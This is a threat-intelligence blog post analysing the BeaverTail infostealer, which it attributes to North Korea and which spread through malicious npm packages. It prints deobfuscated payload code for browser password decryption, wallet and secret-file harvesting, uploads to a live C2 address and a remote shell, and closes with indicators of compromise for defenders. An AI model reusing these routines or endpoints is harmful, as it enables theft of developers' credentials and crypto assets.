Breaking down North Korea's continuation of the BeaverTail campaign
Breaking down North Korea's continuation of the BeaverTail campaign
North Korea has a nasty habit of trying to hack software developers. Today, I have a new malicious NPMJS package, some new loader infra, and some new malware.
It all started with this string.

Well not just this string, but rather this specific string across 3 different packages, published at roughly the same time.

So we're looking at reading-cookies@6.13.2,chai-as-victimed@6.1.21, and loading-sessions@6.13.2
The only logical thing to do is to get ourselves a sample and take a look at this package/lib/caller.js
Using Mercury, we can get browse the code and mitigate some risk at the same time.

Wonderful, that base64 string was actually a url.
https://api.jsonstorage[.]net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/a179ea35-b962-4722-b3f1-e28316d1a44a

Download something, run it. Nothing more than that is needed.
Onto the url then.
jsonstorage.net looks like any other small business SaaS project i've ever seen, and I have no reason to believe they are involved or complicit with this campaign. Offering free file transfer on the internet has always, and will always be a dangerous game.
Believe it or not. The url serves up about 4mb of heavily obfuscated javascript.
Full samples & analysis of the packages, and loader are available here.

So now we must de-obfuscate. I would like to talk more about my scripting, dynamic-analysis and processes for this for it really warrants a long post for itself. For now, you'll just have to take my word for it.
So what does it do?
The first thing the payload does is make itself unkillable by exceptions:
process.on("uncaughtException", (err) => {});
process.on("unhandledRejection", (reason, promise) => {});
process.on("SIGTERM", () => {});
process.on("SIGINT", () => {});
No matter what fails downstream, the show must go on.
Next, the payload installs its own dependencies silently:
npm install sql.js socket.io-client form-data axios
--no-save --no-warnings --no-progress --loglevel silent
sql.js allows it to access browser credential databases without needing anything locally.
Then it fingerprints the victim:
const gsi = () => ({
host: os.hostname(),
os: os.type() + " " + os.release(),
username: os.userInfo().username || "unknown",
});
const is_wsl = () => {
if (process.env.WSL_DISTRO_NAME) return true;
try {
const v = fs.readFileSync("/proc/version", "utf8");
return v.toLowerCase().includes("microsoft") || v.toLowerCase().includes("wsl");
} catch (e) {}
return false;
};
// Windows username — three fallbacks
const get_wu = () => {
try {
const u = execSync("cmd.exe /c echo %USERNAME%", { encoding: "utf8" }).trim();
if (u && !u.includes("%USERNAME%")) return u;
} catch (e) {}
try {
const entries = fs.readdirSync("/mnt/c/Users", { withFileTypes: true });
const skip = ["Public", "Default", "All Users", "Default User"];
for (const e of entries)
if (e.isDirectory() && !skip.includes(e.name)) return e.name;
} catch (e) {}
return process.env.USERNAME || process.env.USER || null;
};
The WSL detection changes the flow. When running under WSL, the payload switches to using cmd.exe and PowerShell for Windows-specific operations while the Node.js process itself stays on the Linux side.
sendHostInfo() immediately POSTs { ukey, os, username, timestamp } to the C2 registration endpoint. Every request to every endpoint includes an HMAC-SHA256 validation token:
const validationSecret = "SuperStr0ngSecret@)@^";
const validationToken = crypto.createHmac("sha256", validationSecret)
.update(payload + "|" + timestamp)
.digest("hex");
The payload string varies by endpoint — username + "|" + timestamp for registration, filePath + "|" + timestamp for file uploads, etc.
It's worth noting at this point that this malware is designed to run on a developer's machine. The Contagious Interview campaign works by presenting targets with a fake technical interview or freelance opportunity that involves running code locally.
Before doing a full sweep, the payload scans priority directories first:
// Windows
Desktop, Documents, Downloads, OneDrive, "Google Drive", GoogleDrive
// macOS/Linux — broader developer focus
Desktop, Documents, Downloads, "Library/CloudStorage",
Projects, Development, Code, "Code Projects", Source,
OneDrive, "Google Drive", GoogleDrive
// + /mnt (if WSL, to reach Windows filesystem)
The macOS/Linux list explicitly includes Projects, Development, Code, and Source . Source code, .env files, and config are collected before anything else.
After priority dirs, Windows machines get a full drive sweep:
// Primary: PowerShell Get-CimInstance (Windows 11 compatible)
'Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 }'
// Fallback 1: Get-PSDrive
// Fallback 2: probe A-Z drive letters with fs.existsSync
// C: is scanned last (already covered by priority dirs)
Any file whose path contains a keyword from SENSITIVE_FILE_PATTERNS is uploaded — case-insensitive substring match against the full path:
const isSensitiveFile = (filePath) => {
const lowerPath = filePath.toLowerCase();
return SENSITIVE_FILE_PATTERNS.some(pattern =>
lowerPath.includes(pattern.toLowerCase())
);
};
A selection from the list:
".keystore", "seed", "seedphrase", "mnemonic", "private", "privatekey",
"id_rsa", "id_ed25519", ".pem", ".p12", "metamask", "phantom", "wallet",
"api_key", "secret", "password", ".env", "config", ".yaml", "cookie",
"session", "token", "database", "bank", "crypto", "ledger", "trezor" ...
Hard limit of 5 MB per file. Binary and media files are excluded via a separate extension list to keep bandwidth focused on text-based credentials and config.
Matching files go to 167.88.167.54:8086/upload:
await axios.post(`http://167.88.167.54:8086/upload`, form, {
headers: {
...form.getHeaders(),
userkey: victimKey,
hostname: encodeURIComponent(os.hostname()),
path: encodeURIComponent(filePath),
timestamp: timestamp,
validation: validationToken,
},
timeout: 30000,
});
// Falls back to :8085 on failure
Three retries per file, with adaptive backoff. If an upload completes in under 50ms the payload waits 20ms before the next one. Nice bit of rate-limiting to protect the C2.
The payload targets every Chromium browser it can find. Chrome, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Kiwi, Comodo Dragon, SRWare Iron, Iridium, AVG Browser, Chromium. It checks all three platform paths (Windows %LOCALAPPDATA%, macOS ~/Library/Application Support, Linux ~/.config) for each one.
For each browser profile found, it collects:
Login Data— saved passwords (SQLite)Login Data For Account— Microsoft-linked credentialsWeb Data— autofill entriesLocal State— contains the DPAPI-encrypted master key
The credentials in Login Data are encrypted with AES-256-GCM using a master key that's itself protected by the OS. Getting to plaintext requires decrypting the master key first.
Windows — DPAPI via PowerShell, written to a temp .ps1 and deleted immediately after:
const psScript = `
$ErrorActionPreference = 'Stop';
Add-Type -AssemblyName System.Security;
$encrypted = [System.Convert]::FromBase64String('${base64Encrypted}');
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encrypted, $null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser);
[System.Convert]::ToBase64String($decrypted)`;
Linux — secret-tool first, then a Python/D-Bus fallback:
execSync(`secret-tool lookup application "${appName}"`)
// Fallback:
execSync(`python3 -c "import secretstorage; bus = secretstorage.dbus_init();
collection = secretstorage.get_default_collection(bus);
items = collection.search_items({'application': '${appName}'});
item = next(items, None);
print(item.get_secret().decode('utf-8') if item else '')"`)
macOS — Keychain lookup, then PBKDF2 key derivation:
execSync(`security find-generic-password -w -s "${browserName} Safe Storage" -a "${browserName}"`)
// Key = PBKDF2(keychainPassword, salt='saltysalt', iterations=1003, keylen=16, digest='sha1')
On macOS it also copies the raw Keychain database file — ~/Library/Keychains/login.keychain-db and uploads it whole.
That'll be something for those North Korean GPU clusters to sink their teeth into later.
With the master key in hand, passwords are decrypted locally before upload using AES-256-GCM, handling both the modern v10/v11 format and the older DPAPI-wrapped format for backwards compatibility:
// v10/v11 format: [prefix][12-byte nonce][ciphertext][16-byte GCM tag]
const nonce = encryptedPassword.slice(nonceStart, nonceStart + 12);
const tag = ciphertext.slice(-16);
// Tries AES-256-GCM, then AES-128-GCM (first 16 bytes of key)
// Also tries with AAD = 'chrome' or 'edge' for newer Chrome versions
const cipher = crypto.createDecipheriv('aes-256-gcm', key, nonce);
cipher.setAuthTag(tag);
Firefox gets caught too key4.db, logins.json, cert9.db, formhistory.sqlite, places.sqlite all queried via sql.js.
Extension storage from <Profile>/Local Extension Settings/<ID>/ is collected for every wallet the payload knows about:
const wps = [
"nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask
"bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom
"acmacodkjbdgmoleebolmdjonilkdbch", // Rabby
"dmkamcknogkgcdfhhbddcghachkejeap", // Keplr
"aholpfdialjgjfhomihkjbmgjidlcdno", // Exodus
"ppbibelpcjmhbdihakflkdcoccbgbkpo", // Backpack
"aeachknmefphepccionboohckonoeemg", // Coin98
// + ~30 more: Solflare, Coinbase, Trust, OKX, Glow, Argent, Martian, Petra, Binance Web3...
];
Brave's built-in wallet is handled separately since it lives in Local Storage/leveldb/ rather than the extension directory.
The sensitive file pattern list explicitly calls out AI coding tools and developer config:
".claude" // Claude Code
".cursor" // Cursor IDE
".codeium" // Codeium
".codex" // OpenAI Codex CLI
".gemini" // Google Gemini CLI
".eigent" // Eigent AI
".windsurf" // Windsurf
".aws" // AWS credentials
".kube" // kubectl config
".docker" // Docker credentials/contexts
".terraform" // Terraform state and variable files
".ssh" // SSH keys
".gnupg" // GPG keys
This is pretty much everything you could possibly want to steal, all at once. Now i know you revoked all those tokens you pasted into Claude, right?
Parallel to the automated scan, the payload connects to a socket.io C2 at 167.88.167.54:8087 that gives the operator live interactive access to the machine.
const socket = io(SOCKET_URL, {
reconnectionAttempts: 15,
reconnectionDelay: 2000,
timeout: 20000,
});
socket.on("connect", () => {
socket.emit("processStatus", checkProcessStatus());
// 5 minutes after connecting — sweep entire filesystem for .env files
setTimeout(() => searchAndUploadFiles('.env'), 5 * 60 * 1000);
});
On connection the victim beacons its process status and queues a full filesystem search for .env files to run five minutes later. Then it waits for operator commands.
The operator can request victim identification via a whoIm response:
socket.on("whour", () => {
socket.emit("whoIm", {
ukey: victimKey + "_" + s_i.host,
os: s_i.os,
username: s_i.username,
});
});
The command event handles four modes:
| Code | Action |
|---|---|
"102" | Directory listing — fs.readdirSync → JSON {name, path, type, size, date} |
"107" | File read + upload; returns inline if ≤1 MB, URL-only if larger |
"108" | Bulk upload all files in a directory (25 MB per file cap) |
| default | exec(command, { windowsHide: true, maxBuffer: 300 MB }) — arbitrary shell |
The operator gets a full interactive file browser and a shell. The windowsHide: true flag means no cmd.exe window appears on the victim's screen.
Three background processes are tracked by lock file:
{ type: "ldbScript", file: `pid.${pid}.1.lock` } // file browser / uploader
{ type: "autoUploadScript", file: `pid.${pid}.2.lock` } // automated scan
{ type: "socketScript", file: `pid.${pid}.3.lock` } // operator-delivered RCE script
The operator can start and stop any of these remotely. Liveness is checked with process.kill(pid, 0) (signal 0 tests existence without sending a signal). Status is beaconed every 10 seconds.
All background processes are launched by piping JavaScript directly to node's stdin — no script file ever touches disk:
const child = spawn(
process.execPath,
["--max-old-space-size=4096", "--no-warnings", "-"], // "-" = read from stdin
{
windowsHide: true,
detached: true,
stdio: ["pipe", "ignore", "ignore"],
}
);
child.stdin.end(scriptContent); // JS payload delivered via stdin
child.unref(); // parent doesn't wait on child
The temp directory used to stage credential files ($TMPDIR/.tmp/.upload_<ts>_<rand>/) is deleted in a finally block after every iteration, whether the uploads succeeded or not. The DPAPI .ps1 scripts are also deleted immediately after use.
And that was BeaverTail. Actually quite a nice bit of work, very thorough.
Before I give you a nice table of IOCs, TTPs and samples. I'd like to talk about the infra.
167.88.167.54

Once again, Cloudzy rears its head as a constant enabler of cyber-crime. In fact, we've seen this provider used by NK before.
Previously documented IPs across multiple /21 and /22 blocks:
| IP | Ports | Source |
|---|---|---|
| 167.88.168.152 | 1224, 1244 | Travis Mathison, FAMOUS CHOLLIMA |
| 167.88.168.24 | — | Contagious Interview IOC lists |
| 167.88.160.106 | — | FOFA tracking |
| 45.61.131.218 | — | Travis Mathison |
| 45.61.169.99 | — | Travis Mathison |
| 23.106.253.194 | — | Travis Mathison |
| 23.106.253.209 | — | Travis Mathison |
| 144.172.105.235 | — | Socket.dev |
| 172.86.98.240 | 1224, 1244 | Travis Mathison |
| 172.86.80.145 | 1224 | Travis Mathison |
Shodan.io also reveals a Windows remote desktop on port 3389 with the name of PITER3 potentially a reference to St. Petersburg, and the 3rd host of many?
This is I do not know, and I prefer to leave the speculation to the professionals.
If you want to read more on the DPRK's cyber activities, contagious-interview, beavertail and cloudzy, please check out these fantastic sources.
- Travis Mathison — BeaverTail and InvisibleFerret malware
- Halcyon — Cloudzy: Command and Control Provider Report
- Silent Push — Contagious Interview Front Companies
- Socket.dev — North Korean Contagious Interview Campaign: 35 New Malicious npm Packages
- ESET — DeceptiveDevelopment malware IOCs
- TechCrunch — Hosting provider facilitated state-sponsored cyberattacks
Thank you for reading veryserious.systems, as always feel free to leave a comment wherever you saw this.
IOCs, TTPs and anything else of interest
Samples
Network
IP: 167.88.167.54
Ports: 8085, 8086 (HTTP file upload)
8087 (socket.io C2)
URL: http://167.88.167.54:8085/upload
URL: http://167.88.167.54:8086/upload
URL: http://167.88.167.54:8087
Dead-drop:
https://api.jsonstorage.net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/a179ea35-b962-4722-b3f1-e28316d1a44a
Collection UUID: 2ef8c758-a96f-459e-b036-b3b90379a165
Object UUID: a179ea35-b962-4722-b3f1-e28316d1a44a
npm Packages
reading-cookies@6.13.2
loading-sessions@6.13.2
chai-as-victimed@6.1.21
File System Artifacts
os.tmpdir()/pid.<PID>.lock — main singleton lock (JSON {pid, startedAt})
os.tmpdir()/pid.<PID>.1.lock — ldbScript process lock
os.tmpdir()/pid.<PID>.2.lock — autoUploadScript process lock
os.tmpdir()/pid.<PID>.3.lock — socketScript process lock
os.tmpdir()/.tmp/.upload_<ts>_*/ — temp exfil staging dir (auto-cleaned)
Strings / Secrets
HMAC secret: SuperStr0ngSecret@)@^
PBKDF2 salt: saltysalt (macOS Chromium key derivation)
PBKDF2 iters: 1003
PBKDF2 keylen: 16
PBKDF2 digest: sha1
Hashes
stage2.js (full obfuscated payload):
SHA256: dac11b32973c34c044bb5bfd7f8569eac431a2c9091b8cf24a2471b5695b6ad3
Size: 3,546,678 bytes
reading-cookies/lib/caller.js (stage 1 stager):
SHA256: 37e9dde0f35864e2ea8dcd4c8b5324ef50e3798195d04c30ba6938352af702db
reading-cookies/index.js (entry point):
SHA256: 2956b023858d706a5e241cd28b845088e5f414c5f70bd5d8cb73cb427d081065
Environment Variables (set by attacker in install context)
DEV_API_KEY — base64(jsonstorage.net URL)
DEV_SECRET_KEY — base64("x-secret-key")
DEV_SECRET_VALUE — base64("_")